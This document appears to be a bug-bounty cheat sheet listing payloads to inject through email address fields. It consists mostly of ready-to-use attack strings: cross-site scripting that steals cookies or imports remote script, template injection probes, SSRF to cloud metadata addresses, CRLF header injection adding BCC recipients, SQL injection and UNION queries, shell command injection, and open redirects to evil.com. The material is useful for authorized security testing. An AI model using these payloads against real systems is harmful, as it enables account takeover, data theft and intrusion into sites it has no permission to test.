Email injections

Emails injection: XSS, SQLi, SSTI, etc.

Create multiple accounts with an alias [e-mail] [e-mail] [e-mail]

user[email][]=[e-mail]&user[email][]=[e-mail]

JSON

{"email":"[e-mail]"}

Try:

{"email":["[e-mail]", "[e-mail]"]}
{"email":"[e-mail]", "email":"[e-mail]"}
email=[e-mail]

Punnycode

Check Email Registration

Registration Form

Parser Abuse - Domain confusion

oastify.com!collab\@example.com
collab%psres.net(@example.com

Splitting the email atom: exploiting parsers to bypass access controlsPortSwigger Research

GitHub - PortSwigger/splitting-the-email-atomGitHub

XSS

"><script>alert(1)</script>@test.com
"><svg/onload=alert(3)>@test.com
"><svg/onload=confirm(1337)>"@x.y
"<script src=//xsshere?"@email.com
"><Img/Src/OnError=alert(1)>"@gmail.com
"><Img/Src/OnError=import('//X55.is')>"@gmail.com

"><Svg/OnLoad=alert(1)>"@gmail.com
"><svg/onload=confirm(1)>"@x.y

test+(<script>alert(0)</script>)@example.com
[e-mail]'\"<svg/onload=alert(document.cookie)>

XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).

"><img/src/onerror=import('//domain/')>"@yourdomain.com

XSS

SSTI

test+${{7*7}}@example.com

test+(${{7*7}})@example.com

test-(${{7*7}})@example.com

SSRF

[e-mail]
[e-mail]
test@127.0.0.1
test@localhost
test@169.254.169.254

CRLF

CRLF InjectionPassword Reset

Register or reset password

[e-mail]%0d%0aBCC:[e-mail]
[e-mail]\r\nBCC:[e-mail]
[e-mail]%0aCC:[e-mail]
[e-mail]\r\nContent-Type:text/html\r\n\r\n<b>Injected</b>

[e-mail]%0d%0aInjected-Header: injected
[e-mail]%0aInjected-Header: injected

SQL Injection

SQL Injection

test' OR '1'='[e-mail]
test" OR "1"="[e-mail]
[e-mail]'--
[e-mail]") OR 1=1--

"1-'or'1'='1"@email.com

john.doe+intigriti' or/**/1/**/=/**/[e-mail]

johne.doe+intigriti'/**/or/**/1/**/=/**/1/**/[e-mail]

test+intigiriti'/**/union/**/select/**/table_name/**/from/**/[e-mail]

Email Injections - HackTricksbook.hacktricks.xyz

Bypassing Email Filter which leads to SQL InjectionMedium

Command Injection

Command Injection

[e-mail]; whoami
[e-mail] && id
[e-mail] | uname -a
[e-mail]`id`

Open Redirection

[e-mail]%0d%0aLocation:https://evil.com
[e-mail]/?next=https://evil.com

Bypass Access Control

Splitting the email atom: exploiting parsers to bypass access controlsPortSwigger Research

HTML injection - Subscription form

Email HTML injection with a simple tipMedium

Resources

https://github.com/HackTricks-wiki/hacktricks/blob/master/pentesting-web/email-injections.mdgithub.com

The Ultimate Guide to Email Input Field Vulnerability TestingMedium

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

• The Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more

• Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them

• Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.